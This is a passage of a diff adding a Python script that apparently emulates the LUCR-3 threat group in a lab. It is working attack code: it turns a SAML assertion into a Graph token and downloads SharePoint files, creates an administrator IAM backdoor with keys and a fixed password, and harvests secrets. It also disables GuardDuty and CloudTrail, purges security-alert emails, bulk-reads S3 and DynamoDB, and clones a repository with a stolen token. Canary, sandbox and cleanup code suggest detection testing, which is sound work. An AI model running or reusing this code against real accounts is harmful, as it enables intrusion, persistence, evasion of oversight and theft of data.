print_ok(f"AzureAD SAMLResponse extracted ({len(saml_b64)} chars)") + else: + print_err("AzureAD SAMLResponse not found") + except Exception as e: + print_err(f"AzureAD SAML SSO failed: {e}") + + op_delay() + + # 6.2: Exchange SAML assertion for Graph access token + graph_token = "" + if saml_b64 and m365_tenant_id: + print_info("6.2: POST to MS token endpoint -- SAML bearer grant") + token_url = f"https://login.microsoftonline.com/{m365_tenant_id}/oauth2/v2.0/token" + m365_client_id = os.environ.get("M365_CLIENT_ID", "") + body = { + "grant_type": "urn:ietf:params:oauth:grant-type:saml2-bearer", + "assertion": base64.b64encode(saml_b64.encode()).decode(), + "scope": "https://graph.microsoft.com/.default", + "client_id": m365_client_id, + } + try: + resp = requests.post(token_url, data=body, timeout=30) + tdata = resp.json() + graph_token = tdata.get("access_token", "") + if graph_token: + print_ok(f"Graph token: {graph_token[:30]}...") + else: + print_err(f"Graph token exchange failed: {tdata.get('error_description', tdata)}") + except Exception as e: + print_err(f"Graph token request failed: {e}") + else: + print_err("Missing SAML response or tenant_id -- Graph token skipped") + + if not graph_token: + return None + + gh = {"Authorization": f"Bearer {graph_token}", "Accept": "application/json"} + + op_delay() + + # 6.3: Enumerate SharePoint sites + print_info("6.3: GET /sites?search=corporate") + sites = [] + try: + resp = requests.get("https://graph.microsoft.com/v1.0/sites?search=corporate", + headers=gh, timeout=30) + sites = resp.json().get("value", []) + print_ok(f"SharePoint sites: {len(sites)}") + for s in sites[:5]: + print_info(f" {s.get('displayName')} -- {s.get('webUrl')}") + except Exception as e: + print_err(f"SharePoint site enum failed: {e}") + + op_delay() + + # 6.4+6.5: List and download up to 5 files from first 2 sites + for site in sites[:2]: + site_id = site.get("id", "") + site_name = site.get("displayName", "unknown") + if not site_id: + continue + print_info(f"6.4: List drive root for site: {site_name}") + try: + resp = requests.get( + f"https://graph.microsoft.com/v1.0/sites/{site_id}/drive/root/children", + headers=gh, timeout=30 + ) + items = resp.json().get("value", []) + print_ok(f"Items in {site_name}: {len(items)}") + count = 0 + for item in items: + if count >= 5: + break + item_id = item.get("id", "") + item_name = item.get("name", "") + if not item_id or item.get("folder"): + continue + print_info(f" 6.5: Downloading: {item_name}") + try: + dl = requests.get( + f"https://graph.microsoft.com/v1.0/sites/{site_id}/drive/items/{item_id}/content", + headers=gh, timeout=30, allow_redirects=True + ) + if dl.status_code == 200: + print_ok(f" Downloaded {item_name} ({len(dl.content)} bytes)") + count += 1 + else: + print_err(f" Download {item_name}: HTTP {dl.status_code}") + except Exception as de: + print_err(f" Download error {item_name}: {de}") + op_delay(1, 3) + except Exception as e: + print_err(f"Drive root list failed for {site_name}: {e}") + + return graph_token + + +# ============================================================ +# PHASE 5 -- AWS Discovery +# ============================================================ + +def phase5_aws_discovery(aws_sess, s3_corporate_bucket, s3_engineering_bucket): + """ + Steps 7, 8, 9 - T1580, T1619, T1082: Enumerate account identity, IAM, EC2, + DynamoDB, S3, VPC, SSM. Returns list of SSM-managed instance IDs. + """ + region = aws_sess.region_name or "us-east-1" + sts = aws_sess.client("sts", region_name=region) + iam = aws_sess.client("iam", region_name=region) + ec2 = aws_sess.client("ec2", region_name=region) + ddb = aws_sess.client("dynamodb", region_name=region) + s3 = aws_sess.client("s3", region_name=region) + ssm = aws_sess.client("ssm", region_name=region) + + # Step 7 - T1580 + print_step("PHASE 5 / Step 7 - T1580: Cloud infrastructure discovery") + print_info("Tradecraft: map blast radius via enumeration equivalent to CloudShell usage") + + try: + idn = sts.get_caller_identity() + print_ok(f"GetCallerIdentity: Account={idn['Account']} ARN={idn['Arn']}") + except ClientError as e: + print_err(f"GetCallerIdentity: {e}") + + op_delay() + + try: + users = iam.list_users().get("Users", []) + print_ok(f"ListUsers: {len(users)} users") + for u in users[:5]: + print_info(f" {u['UserName']}") + except ClientError as e: + print_err(f"ListUsers: {e}") + + op_delay() + + try: + roles = iam.list_roles().get("Roles", []) + print_ok(f"ListRoles: {len(roles)} roles") + for r in roles[:5]: + print_info(f" {r['RoleName']}") + except ClientError as e: + print_err(f"ListRoles: {e}") + + op_delay() + + try: + rsvs = ec2.describe_instances( + Filters=[{"Name": "instance-state-name", "Values": ["running"]}] + ).get("Reservations", []) + count = sum(len(r.get("Instances", [])) for r in rsvs) + print_ok(f"DescribeInstances: {count} running") + for r in rsvs: + for inst in r.get("Instances", []): + tags = {t["Key"]: t["Value"] for t in inst.get("Tags", [])} + print_info(f" {inst['InstanceId']} / {tags.get('Name','unnamed')}") + except ClientError as e: + print_err(f"DescribeInstances: {e}") + + op_delay() + + try: + tables = ddb.list_tables().get("TableNames", []) + print_ok(f"ListTables: {len(tables)} tables") + for t in tables: + print_info(f" {t}") + except ClientError as e: + print_err(f"ListTables: {e}") + + op_delay(3, 8) + + # Step 8 - T1619 + print_step("PHASE 5 / Step 8 - T1619: Cloud storage object discovery") + print_info("Tradecraft: scan for terraform.tfstate and credential-bearing files") + + try: + buckets = s3.list_buckets().get("Buckets", []) + print_ok(f"ListBuckets: {len(buckets)}") + for b in buckets: + print_info(f" {b['Name']}") + except ClientError as e: + print_err(f"ListBuckets: {e}") + + op_delay() + + for bkt in [s3_corporate_bucket, s3_engineering_bucket]: + if not bkt: + continue + try: + objs = s3.list_objects_v2(Bucket=bkt).get("Contents", []) + print_ok(f"ListObjects({bkt}): {len(objs)} objects") + for o in objs[:10]: + print_info(f" {o['Key']} ({o['Size']} bytes)") + except ClientError as e: + print_err(f"ListObjects({bkt}): {e}") + op_delay() + + op_delay(3, 8) + + # Step 9 - T1082 + print_step("PHASE 5 / Step 9 - T1082: System information discovery (VPC + SSM)") + print_info("Tradecraft: identify SSM-managed instances for lateral movement") + + try: + vpcs = ec2.describe_vpcs().get("Vpcs", []) + print_ok(f"DescribeVpcs: {len(vpcs)}") + for v in vpcs: + tags = {t["Key"]: t["Value"] for t in v.get("Tags", [])} + print_info(f" {v['VpcId']} CIDR={v['CidrBlock']} Name={tags.get('Name','')}") + except ClientError as e: + print_err(f"DescribeVpcs: {e}") + + op_delay() + + try: + subnets = ec2.describe_subnets().get("Subnets", []) + print_ok(f"DescribeSubnets: {len(subnets)}") + except ClientError as e: + print_err(f"DescribeSubnets: {e}") + + op_delay() + + try: + kps = ec2.describe_key_pairs().get("KeyPairs", []) + print_ok(f"DescribeKeyPairs: {len(kps)}") + for kp in kps: + print_info(f" {kp['KeyName']}") + except ClientError as e: + print_err(f"DescribeKeyPairs: {e}") + + op_delay() + + ssm_instance_ids = [] + try: + insts = ssm.describe_instance_information().get("InstanceInformationList", []) + print_ok(f"DescribeInstanceInformation: {len(insts)} SSM-managed instances") + for i in insts: + print_info(f" {i.get('InstanceId')} / {i.get('PingStatus')}") + ssm_instance_ids.append(i.get("InstanceId", "")) + except ClientError as e: + print_err(f"DescribeInstanceInformation: {e}") + + return ssm_instance_ids + + +# ============================================================ +# PHASE 6 -- AWS Backdoor and Persistence +# ============================================================ + +def phase6_aws_backdoor(aws_sess, backdoor_username): + """ + Steps 10, 11, 12 - T1136.003, T1098, T1098.001: Create backdoor IAM user, + attach AdministratorAccess, generate long-lived access key. + Returns (key_id, secret). + """ + print_step("PHASE 6 / Steps 10-12 - T1136.003+T1098+T1098.001: IAM backdoor persistence") + print_info(f"Backdoor username: {backdoor_username}") + print_info("Tradecraft: durable IAM credential survives IDP session revocation") + + region = aws_sess.region_name or "us-east-1" + iam = aws_sess.client("iam", region_name=region) + + # Step 10: CreateUser + print_step(f"PHASE 6 / Step 10 - T1136.003: iam:CreateUser {backdoor_username}") + try: + iam.create_user(UserName=backdoor_username) + print_ok(f"CreateUser: {backdoor_username}") + except ClientError as e: + if e.response["Error"]["Code"] == "EntityAlreadyExists": + print_ok(f"User {backdoor_username} already exists -- continuing") + else: + print_err(f"CreateUser failed: {e}") + return None, None + + op_delay() + + try: + iam.create_login_profile( + UserName=backdoor_username, + Password="Emulat10n!Backdoor#2026", + PasswordResetRequired=False, + ) + print_ok(f"CreateLoginProfile: {backdoor_username}") + except ClientError as e: + if e.response["Error"]["Code"] == "EntityAlreadyExists": + print_ok("Login profile already exists") + else: + print_err(f"CreateLoginProfile: {e}") + + op_delay() + + # Step 11: AttachUserPolicy AdministratorAccess + print_step(f"PHASE 6 / Step 11 - T1098: AttachUserPolicy AdministratorAccess -> {backdoor_username}") + print_info("Tradecraft: broadest managed policy maximizes attacker blast radius") + try: + iam.attach_user_policy( + UserName=backdoor_username, + PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess", + ) + print_ok("AttachUserPolicy: AdministratorAccess attached") + except ClientError as e: + print_err(f"AttachUserPolicy: {e}") + + op_delay() + + # Step 12: CreateAccessKey (with 2-key quota guard) + print_step(f"PHASE 6 / Step 12 - T1098.001: CreateAccessKey for {backdoor_username}") + print_info("Tradecraft: non-expiring key persists after SAML federation is revoked") + + try: + existing = iam.list_access_keys(UserName=backdoor_username)["AccessKeyMetadata"] + if len(existing) >= 2: + newest = max(existing, key=lambda k: k["CreateDate"]) + try: + iam.delete_access_key(UserName=backdoor_username, + AccessKeyId=newest["AccessKeyId"]) + print_ok(f"Pre-rotate: deleted stale key {newest['AccessKeyId']} (at 2-key quota)") + except ClientError as de: + print_err(f"Pre-rotate delete failed: {de}") + except ClientError as e: + print_err(f"ListAccessKeys pre-check: {e}") + + op_delay() + + try: + resp = iam.create_access_key(UserName=backdoor_username) + key = resp["AccessKey"] + print_ok(f"CreateAccessKey: {key['AccessKeyId']}") + return key["AccessKeyId"], key["SecretAccessKey"] + except ClientError as e: + print_err(f"CreateAccessKey: {e}") + return None, None + + +# ============================================================ +# PHASE 7 -- Credential Harvest and Compute Staging +# ============================================================ + +def phase7_harvest_and_stage(attacker_sess, subnet_id, sg_id): + """ + Steps 13, 14 - T1555.006, T1578.002: Scrape SecretsManager; launch staging EC2. + Returns (github_pat, launched_instance_id, instance_profile_name). + """ + region = attacker_sess.region_name or "us-east-1" + sm = attacker_sess.client("secretsmanager", region_name=region) + iam = attacker_sess.client("iam", region_name=region) + ec2 = attacker_sess.client("ec2", region_name=region) + + # Step 13 - T1555.006 + print_step("PHASE 7 / Step 13 - T1555.006: Enumerate and harvest SecretsManager") + print_info("Tradecraft: CloudShell-equivalent scraping for lateral movement credentials") + print_info("NOTE: bait/canary secrets trigger independent detection alerts on access") + + github_pat = "" + + try: + secrets = sm.list_secrets().get("SecretList", []) + print_ok(f"ListSecrets: {len(secrets)} secrets") + for s in secrets: + print_info(f" {s['Name']}") + except ClientError as e: + print_err(f"ListSecrets: {e}") + + op_delay() + + for secret_id in [ + _r("secret_prod_db", default="prod/database/master_credentials"), + _r("secret_stripe", default="prod/payments/stripe_secret_key"), + _r("secret_honey_creds", default="prod/infrastructure/terraform-automation-key"), + _r("secret_github_pat", default="prod/cicd/github-actions-token"), + ]: + try: + val = sm.get_secret_value(SecretId=secret_id).get("SecretString", "") + print_ok(f"GetSecretValue({secret_id}): {val[:80]}...") + if "github" in secret_id.lower() or "github" in val.lower(): + try: + parsed = json.loads(val) + github_pat = parsed.get("token", "") + if github_pat: + print_ok(f"GitHub PAT extracted: {github_pat[:20]}...") + except Exception: + pass + if "bait" in secret_id.lower() or "honey" in secret_id.lower(): + print_info(" CANARY: this access triggers an independent detection alert") + except ClientError as e: + code = e.response["Error"]["Code"] + print_err(f"GetSecretValue({secret_id}) [{code}]: {e.response['Error']['Message']}") + op_delay() + + op_delay(5, 15) + + # Step 14 - T1578.002 + print_step("PHASE 7 / Step 14 - T1578.002: Launch attacker EC2 staging instance") + print_info("Tradecraft: EC2 used to stage bulk exfiltration before external transfer") + + profile_name = "lucr3-attack-instance-profile" + launched_id = None + + try: + iam.create_instance_profile(InstanceProfileName=profile_name) + print_ok(f"CreateInstanceProfile: {profile_name}") + except ClientError as e: + if e.response["Error"]["Code"] == "EntityAlreadyExists": + print_ok(f"Instance profile {profile_name} already exists") + else: + print_err(f"CreateInstanceProfile: {e}") + + op_delay() + + if subnet_id and sg_id: + try: + resp = ec2.run_instances( + ImageId="resolve:ssm:/aws/service/ami-amazon-linux-latest/al2023-ami-kernel-default-x86_64", + InstanceType="t3.micro", + MinCount=1, + MaxCount=1, + SubnetId=subnet_id, + SecurityGroupIds=[sg_id], + IamInstanceProfile={"Name": profile_name}, + TagSpecifications=[{ + "ResourceType": "instance", + "Tags": [{"Key": "Name", "Value": "lucr3-attack-host"}], + }], + ) + launched_id = resp["Instances"][0]["InstanceId"] + print_ok(f"RunInstances: {launched_id} (lucr3-attack-host)") + except ClientError as e: + print_err(f"RunInstances: {e}") + else: + print_err("subnet_id or sg_id missing -- RunInstances skipped") + + return github_pat, launched_id, profile_name + + +# ============================================================ +# PHASE 8 -- Defense Evasion +# ============================================================ + +def phase8_defense_evasion(attacker_sess, github_pat, trail_name): + """ + Steps 15, 16, 17 - T1550.001, T1562.001, T1562.008. + Returns detector_id (needed for cleanup). + """ + region = attacker_sess.region_name or "us-east-1" + gd = attacker_sess.client("guardduty", region_name=region) + ct = attacker_sess.client("cloudtrail", region_name=region) + detector_id = None + + # Step 15 - T1550.001: Use stolen GitHub PAT + print_step("PHASE 8 / Step 15 - T1550.001: Use stolen GitHub PAT as Application Access Token") + print_info("Tradecraft: stolen CI/CD token pivots attacker into code repositories") + print_info("NOTE: bait PAT is revoked -- 401 expected; attempt still generates GitHub Audit Log event") + + if github_pat: + gh_hdrs = { + "Authorization": f"Bearer {github_pat}", + "Accept": "application/vnd.github+json", + } + for endpoint in ["https://api.github.com/user", "https://api.github.com/user/repos"]: + try: + resp = requests.get(endpoint, headers=gh_hdrs, timeout=30) + if resp.status_code == 200: + print_ok(f"GitHub {endpoint}: 200 OK (token valid)") + elif resp.status_code == 401: + print_ok(f"GitHub {endpoint}: 401 (expected -- bait token revoked; canary triggered)") + else: + print_err(f"GitHub {endpoint}: HTTP {resp.status_code}") + except Exception as e: + print_err(f"GitHub request failed: {e}") + op_delay(2, 5) + else: + print_err("No GitHub PAT -- Step 15 skipped") + + op_delay(3, 10) + + # Step 16 - T1562.001: Disable GuardDuty + print_step("PHASE 8 / Step 16 - T1562.001: Disable GuardDuty detector") + print_info("Tradecraft: UpdateDetector (not DeleteDetector) is less conspicuous") + print_info("Observed LUCR-3 pattern: disable GD immediately before bulk S3 exfiltration") + + try: + det_ids = gd.list_detectors().get("DetectorIds", []) + print_ok(f"ListDetectors: {det_ids}") + if det_ids: + detector_id = det_ids[0] + gd.update_detector(DetectorId=detector_id, Enable=False) + print_ok(f"UpdateDetector({detector_id}, Enable=False) -- GuardDuty disabled") + else: + print_err("No GuardDuty detectors found") + except ClientError as e: + print_err(f"GuardDuty disable: {e}") + + op_delay(2, 6) + + # Step 17 - T1562.008: Stop CloudTrail + print_step("PHASE 8 / Step 17 - T1562.008: Stop CloudTrail logging") + print_info(f"Trail: {trail_name}") + print_info("FORENSIC NOTE: StopLogging is the last event before the forensic gap") + print_info("Steps 18-22 API calls will NOT appear in CloudTrail") + + try: + st = ct.get_trail_status(Name=trail_name) + print_info(f"Trail currently logging: {st.get('IsLogging')}") + except ClientError as e: + print_err(f"GetTrailStatus: {e}") + + op_delay() + + try: + ct.stop_logging(Name=trail_name) + print_ok(f"StopLogging({trail_name}) -- CloudTrail stopped") + except ClientError as e: + print_err(f"StopLogging: {e}") + + return detector_id + + +# ============================================================ +# PHASE 9 -- Lateral Movement and Artifact Removal +# ============================================================ + +def phase9_lateral_and_cleanup(attacker_sess, ec2_target_id, graph_token): + """ + Steps 18, 19 (doc-only), 20 - T1021.004, T1072, T1070.008. + SSM session, SCCM documentation stub, M365 mailbox clearing. + """ + region = attacker_sess.region_name or "us-east-1" + ssm = attacker_sess.client("ssm", region_name=region) + + # Step 18 - T1021.004: SSM lateral movement + print_step("PHASE 9 / Step 18 - T1021.004: Lateral movement via AWS SSM Session Manager") + print_info(f"Target: {ec2_target_id}") + print_info("Tradecraft: SSM tunnel bypasses need for exposed SSH port -- AWS-native LUCR-3 pattern") + + if ec2_target_id: + try: + resp = ssm.start_session( + Target=ec2_target_id, + DocumentName="AWS-StartSSHSession", + Parameters={"portNumber": ["22"]}, + ) + sess_id = resp.get("SessionId", "") + stream_url = resp.get("StreamUrl", "") + print_ok(f"SSM StartSession: SessionId={sess_id}") + print_info(f"StreamUrl: {stream_url[:60]}...") + op_delay(2, 5) + try: + ssm.terminate_session(SessionId=sess_id) + print_ok(f"SSM session {sess_id} terminated") + except ClientError as e: + print_err(f"TerminateSession: {e}") + except ClientError as e: + print_err(f"SSM StartSession: {e}") + else: + print_err("No EC2 target instance id -- SSM lateral movement skipped") + + op_delay(3, 8) + + # Step 19 - T1072: DOCUMENTED ONLY + print_step("PHASE 9 / Step 19 - T1072: Software Deployment Tools [DOCUMENTED ONLY - NO CODE]") + print_info("=" * 60) + print_info("TECHNIQUE: T1072 - Software Deployment Tools (SCCM / Intune)") + print_info("REAL LUCR-3 ACTION:") + print_info(" - Attacker gains SCCM admin via federated AD account after Okta pivot") + print_info(" - Creates software deployment pushing payload to all domain-joined endpoints") + print_info(" - Achieves mass lateral movement without per-host credential spray") + print_info("EMULATION NOTE: Sandbox has no domain controller or domain-joined endpoints.") + print_info(" Cannot emulate: SCCM may disrupt production per operational safety rules.") + print_info(" Host access approximated by SSM session in Step 18.") + print_info("=" * 60) + + op_delay(2, 5) + + # Step 20 - T1070.008: Clear M365 mailbox + print_step("PHASE 9 / Step 20 - T1070.008: Clear victim M365 mailbox security alert emails") + print_info("Tradecraft: delete security notifications to suppress victim awareness and IR") + + if graph_token: + gh = { + "Authorization": f"Bearer {graph_token}", + "Accept": "application/json", + "Content-Type": "application/json", + } + print_info("20.1: Search for security alert emails") + try: + resp = requests.get( + "https://graph.microsoft.com/v1.0/me/messages?$filter=subject eq 'Security Alert'", + headers=gh, timeout=30 + ) + msgs = resp.json().get("value", []) + print_ok(f"Security alert emails found: {len(msgs)}") + + for msg in msgs[:5]: + msg_id = msg.get("id", "") + subj = msg.get("subject", "") + print_info(f" 20.2: Soft-delete: {subj}") + try: + mv = requests.post( + f"https://graph.microsoft.com/v1.0/me/messages/{msg_id}/move", + json={"destinationId": "deleteditems"}, + headers=gh, timeout=30 + ) + if mv.status_code in (200, 201): + moved_id = mv.json().get("id", msg_id) + print_ok(f" SoftDelete OK -> Deleted Items") + op_delay(1, 2) + print_info(f" 20.3: Hard-delete from Deleted Items") + hd = requests.delete( + f"https://graph.microsoft.com/v1.0/me/mailFolders/deleteditems/messages/{moved_id}", + headers=gh, timeout=30 + ) + if hd.status_code == 204: + print_ok(f" HardDelete OK -- message purged") + else: + print_err(f" HardDelete: HTTP {hd.status_code}") + else: + print_err(f" SoftDelete: HTTP {mv.status_code}") + except Exception as me: + print_err(f" Message delete error: {me}") + op_delay() + except Exception as e: + print_err(f"Mailbox search failed: {e}") + else: + print_err("No Graph token -- M365 mailbox cleanup skipped") + + +# ============================================================ +# PHASE 10 -- Bulk Exfiltration +# ============================================================ + +def phase10_exfiltration(attacker_sess, s3_corporate_bucket, s3_engineering_bucket, + dynamodb_table, github_pat, github_owner, github_repo): + """ + Steps 21, 22 - T1530, T1213.003: Exfiltrate S3/DynamoDB; clone GitHub repo. + Returns (clone_dir, clone_success). + """ + region = attacker_sess.region_name or "us-east-1" + s3 = attacker_sess.client("s3", region_name=region) + ddb = attacker_sess.client("dynamodb", region_name=region) + + # Step 21 - T1530 + print_step("PHASE 10 / Step 21 - T1530: Bulk S3 and DynamoDB exfiltration") + print_info("Tradecraft: equivalent to LUCR-3 S3 Browser 10.9.9 / CloudShell bulk GetObject") + print_info("CloudTrail is stopped -- S3 server access logs remain active independently") + + seen_pairs = set() + exfil_queue = [] + + for bkt in [s3_corporate_bucket, s3_engineering_bucket]: + if not bkt: + continue + try: + objs = s3.list_objects_v2(Bucket=bkt).get("Contents", []) + print_ok(f"ListObjects({bkt}): {len(objs)} objects") + for o in objs[:20]: + exfil_queue.append((bkt, o["Key"])) + except ClientError as e: + print_err(f"ListObjects({bkt}): {e}") + op_delay() + + # Add known high-value keys + for bkt, key in [ + (s3_corporate_bucket, "sensitive-data.txt"), + (s3_engineering_bucket, "terraform.tfstate"), + (s3_engineering_bucket, "terraform/prod/terraform.tfstate"), + ]: + if bkt and key: + exfil_queue.append((bkt, key)) + + for bkt, key in exfil_queue: + if not bkt or not key: + continue + pair = (bkt, key) + if pair in seen_pairs: + continue + seen_pairs.add(pair) + try: + obj = s3.get_object(Bucket=bkt, Key=key) + data = obj["Body"].read(4096) + print_ok(f"GetObject({bkt}/{key}): {len(data)} bytes") + if "bait" in bkt.lower() or "bait" in key.lower() or "terraform" in key.lower(): + print_info(" CANARY: bait object accessed -- independent canary alert triggered") + except ClientError as e: + code = e.response["Error"]["Code"] + if code in ("NoSuchKey", "NoSuchBucket", "AccessDenied"): + print_err(f"GetObject({bkt}/{key}): {code}") + else: + print_err(f"GetObject({bkt}/{key}): {e}") + op_delay() + + op_delay(3, 10) + + if dynamodb_table: + print_info(f"DynamoDB Scan({dynamodb_table}) -- PII enumeration") + try: + resp = ddb.scan(TableName=dynamodb_table, Limit=100) + items = resp.get("Items", []) + print_ok(f"DynamoDB Scan: {len(items)} records") + if items: + print_info(f" Sample keys: {list(items[0].keys())}") + except ClientError as e: + print_err(f"DynamoDB Scan: {e}") + + op_delay(3, 10) + + # Step 22 - T1213.003: GitHub repo clone + print_step("PHASE 10 / Step 22 - T1213.003: Clone target GitHub repository") + print_info(f"Target: {github_owner}/{github_repo}") + print_info("Tradecraft: source code exfiltration for embedded secrets and proprietary IP") + print_info("NOTE: bait PAT is revoked -- 401 expected; attempt still generates GitHub Audit Log event") + + clone_dir = "/tmp/lucr3-repo" + clone_success = False + + if github_pat and github_owner and github_repo: + gh_hdrs = { + "Authorization": f"Bearer {github_pat}", + "Accept": "application/vnd.github+json", + } + + # 22.1: Verify repo access + print_info(f"22.1: GET /repos/{github_owner}/{github_repo}") + try: + resp = requests.get( + f"https://api.github.com/repos/{github_owner}/{github_repo}", + headers=gh_hdrs, timeout=30 + ) + if resp.status_code == 200: + print_ok(f"Repo accessible: {resp.json().get('full_name')}") + else: + print_err(f"Repo access: HTTP {resp.status_code} (expected on revoked bait token)") + except Exception as e: + print_err(f"Repo access check: {e}") + + op_delay() + + # 22.2: Enumerate contents + print_info("22.2: GET /repos/.../contents") + try: + resp = requests.get( + f"https://api.github.com/repos/{github_owner}/{github_repo}/contents", + headers=gh_hdrs, timeout=30 + ) + if resp.status_code == 200: + contents = resp.json() + print_ok(f"Repo contents: {len(contents)} items") + for item in contents[:10]: + print_info(f" {item.get('type')}: {item.get('name')}") + else: + print_err(f"Contents: HTTP {resp.status_code}") + except Exception as e: + print_err(f"Contents enumeration: {e}") + + op_delay() + + # 22.3: git clone + print_info(f"22.3: git clone https://***@github.com/{github_owner}/{github_repo}") + clone_url = f"https://{github_pat}@github.com/{github_owner}/{github_repo}" + try: + if os.path.exists(clone_dir): + shutil.rmtree(clone_dir) + result = subprocess.run( + ["git", "clone", clone_url, clone_dir], + capture_output=True, text=True, timeout=120 + ) + if result.returncode == 0: + print_ok(f"git clone succeeded -> {clone_dir}") + clone_success = True + else: + print_err(f"git clone failed (rc={result.returncode}): {result.stderr.strip()[:200]}") + print_info("Expected on revoked bait token -- attempt generates GitHub Audit Log event") + except FileNotFoundError: + print_err("git not found in PATH -- clone skipped") + except Exception as e: + print_err(f"git clone error: {e}") + else: + print_err("GitHub PAT / owner / repo not available -- Step 22 skipped") + + return clone_dir, clone_success + + +# ============================================================ +# POST-ATTACK CLEANUP +# Cleanup order per cleanup_manifest: +# 1. Re-enable GuardDuty (FIRST -- restore visibility) +# 2. Re-enable CloudTrail (SECOND) +# 3. Remove attacker Okta TOTP factor +# 4. Delete IAM access key(s) on backdoor user +# 5. Detach AdministratorAccess from backdoor user +# 6. Delete IAM login profile +# 7. Delete IAM user +# 8. Terminate attacker EC2 instance +# 9. Delete IAM instance profile +# 10. Delete local repo clone +# ============================================================ + +def post_attack_cleanup( + cleanup_sess, + okta_domain, okta_user_id, enrolled_factor_id, + backdoor_username, attacker_key_id, + detector_id, trail_name, + launched_ec2_id, instance_profile_name, + clone_dir, +): + print_step("=" * 60) + print_step("POST-ATTACK CLEANUP -- restoring lab environment") + print_step("=" * 60) + + region = cleanup_sess.region_name or "us-east-1" + gd = cleanup_sess.client("guardduty", region_name=region) + ct = cleanup_sess.client("cloudtrail", region_name=region) + iam = cleanup_sess.client("iam", region_name=region) + ec2 = cleanup_sess.client("ec2", region_name=region) + + # 1. Re-enable GuardDuty FIRST + print_step("Cleanup 1/10: Re-enable GuardDuty") + if detector_id: + try: + gd.update_detector(DetectorId=detector_id, Enable=True) + print_ok(f"GuardDuty {detector_id} re-enabled") + except ClientError as e: + print_err(f"Re-enable GuardDuty: {e}") + else: + print_err("detector_id unknown -- GuardDuty re-enable skipped") + + op_delay(1, 3) + + # 2. Re-enable CloudTrail + print_step("Cleanup 2/10: Re-enable CloudTrail") + if trail_name: + try: + ct.start_logging(Name=trail_name) + print_ok(f"StartLogging({trail_name}) -- CloudTrail resumed") + except ClientError as e: + print_err(f"StartLogging: {e}") + else: + print_err("trail_name unknown -- CloudTrail re-enable skipped") + + op_delay(1, 3) + + # 3. Remove attacker Okta TOTP factor + print_step("Cleanup 3/10: Remove attacker TOTP factor from Okta") + if okta_domain and okta_user_id and enrolled_factor_id: + okta_api_token = os.environ.get("OKTA_API_TOKEN", "") + hdrs = {"Content-Type": "application/json", "Accept": "application/json"} + if okta_api_token: + hdrs["Authorization"] = f"SSWS {okta_api_token}" + try: + resp = requests.delete( + f"https://{okta_domain}/api/v1/users/{okta_user_id}/factors/{enrolled_factor_id}", + headers=hdrs, timeout=30 + ) + if resp.status_code == 204: + print_ok(f"Okta factor {enrolled_factor_id} deleted") + else: + print_err(f"Factor delete: HTTP {resp.status_code} / {resp.text[:100]}") + except Exception as e: + print_err(f"Okta factor delete: {e}") + else: + print_err("Okta cleanup info missing -- factor removal skipped (manual action needed)") + + op_delay(1, 3) + + # 4. Delete all access keys on backdoor user + print_step(f"Cleanup 4/10: Delete IAM access keys for {backdoor_username}") + if backdoor_username: + try: + all_keys = iam.list_access_keys(UserName=backdoor_username)["AccessKeyMetadata"] + for k in all_keys: + iam.delete_access_key(UserName=backdoor_username, AccessKeyId=k["AccessKeyId"]) + print_ok(f"DeleteAccessKey: {k['AccessKeyId']}") + except ClientError as e: + print_err(f"DeleteAccessKey cleanup: {e}") + + op_delay(1, 3) + + # 5. Detach AdministratorAccess + print_step(f"Cleanup 5/10: Detach AdministratorAccess from {backdoor_username}") + if backdoor_username: + try: + iam.detach_user_policy( + UserName=backdoor_username, + PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess", + ) + print_ok("DetachUserPolicy: AdministratorAccess") + except ClientError as e: + if "NoSuchEntity" in str(e): + print_ok("Policy already detached") + else: + print_err(f"DetachUserPolicy: {e}") + + op_delay(1, 3) + + # 6. Delete login profile + print_step(f"Cleanup 6/10: Delete IAM login profile for {backdoor_username}") + if backdoor_username: + try: + iam.delete_login_profile(UserName=backdoor_username) + print_ok(f"DeleteLoginProfile: {backdoor_username}") + except ClientError as e: + if "NoSuchEntity" in str(e): + print_ok("Login profile already deleted") + else: + print_err(f"DeleteLoginProfile: {e}") + + op_delay(1, 3) + + # 7. Delete IAM user (enumerate all keys first to avoid DeleteConflict) + print_step(f"Cleanup 7/10: Delete IAM user {backdoor_username}") + if backdoor_username: + try: + remaining = iam.list_access_keys(UserName=backdoor_username)["AccessKeyMetadata"] + for k in remaining: + iam.delete_access_key(UserName=backdoor_username, AccessKeyId=k["AccessKeyId"]) + except ClientError: + pass + try: + iam.delete_user(UserName=backdoor_username) + print_ok(f"DeleteUser: {backdoor_username}") + except ClientError as e: + print_err(f"DeleteUser: {e}") + + op_delay(1, 3) + + # 8. Terminate attacker EC2 instance + print_step("Cleanup 8/10: Terminate attacker EC2 instance") + if launched_ec2_id: + try: + ec2.terminate_instances(InstanceIds=[launched_ec2_id]) + print_ok(f"TerminateInstances: {launched_ec2_id}") + except ClientError as e: + print_err(f"TerminateInstances: {e}") + else: + print_err("No launched EC2 id -- termination skipped") + + op_delay(5, 15) + + # 9. Delete IAM instance profile + print_step(f"Cleanup 9/10: Delete IAM instance profile {instance_profile_name}") + if instance_profile_name: + try: + iam.delete_instance_profile(InstanceProfileName=instance_profile_name) + print_ok(f"DeleteInstanceProfile: {instance_profile_name}") + except ClientError as e: + if "NoSuchEntity" in str(e): + print_ok("Instance profile already deleted") + else: + print_err(f"DeleteInstanceProfile: {e}") + + op_delay(1, 3) + + # 10. Delete local repo clone + print_step("Cleanup 10/10: Delete local repo clone") + if clone_dir and os.path.exists(clone_dir): + try: + shutil.rmtree(clone_dir) + print_ok(f"Deleted: {clone_dir}") + except Exception as e: + print_err(f"rmtree {clone_dir}: {e}") + else: + print_info("No local clone to delete") + + print_ok("Post-attack cleanup complete") + print_info("Remaining: run 'pulumi destroy' in infra/ to remove all Pulumi-managed infra") + + +# ============================================================ +# SUMMARY +# ============================================================ + +def print_summary(events): + print("\n" + "=" * 60) + print("LUCR-3 EMULATION COMPLETE") + print("=" * 60) + print("\nAudit Events / CloudTrail API Calls Generated:") + for e in events: + print(f" [+] {e}") + print("\nPhases: 10") + print("Steps: 22 (Steps 3 and 19 are documented-only stubs)") + print("Techniques: T1078.004, T1621, T1111, T1098.005, T1213.002,") + print(" T1580, T1619, T1082, T1136.003, T1098, T1098.001,") + print(" T1555.006, T1578.002, T1550.001, T1562.001, T1562.008,") + print(" T1021.004, T1072, T1070.008, T1530, T1213.003") + print("=" * 60) + + +# ============================================================ +# BACKEND ENTRY POINT +# ============================================================ + +def run(outputs: dict, region: str = "us-east-1") -> None: + """MayaTrail backend entry point. 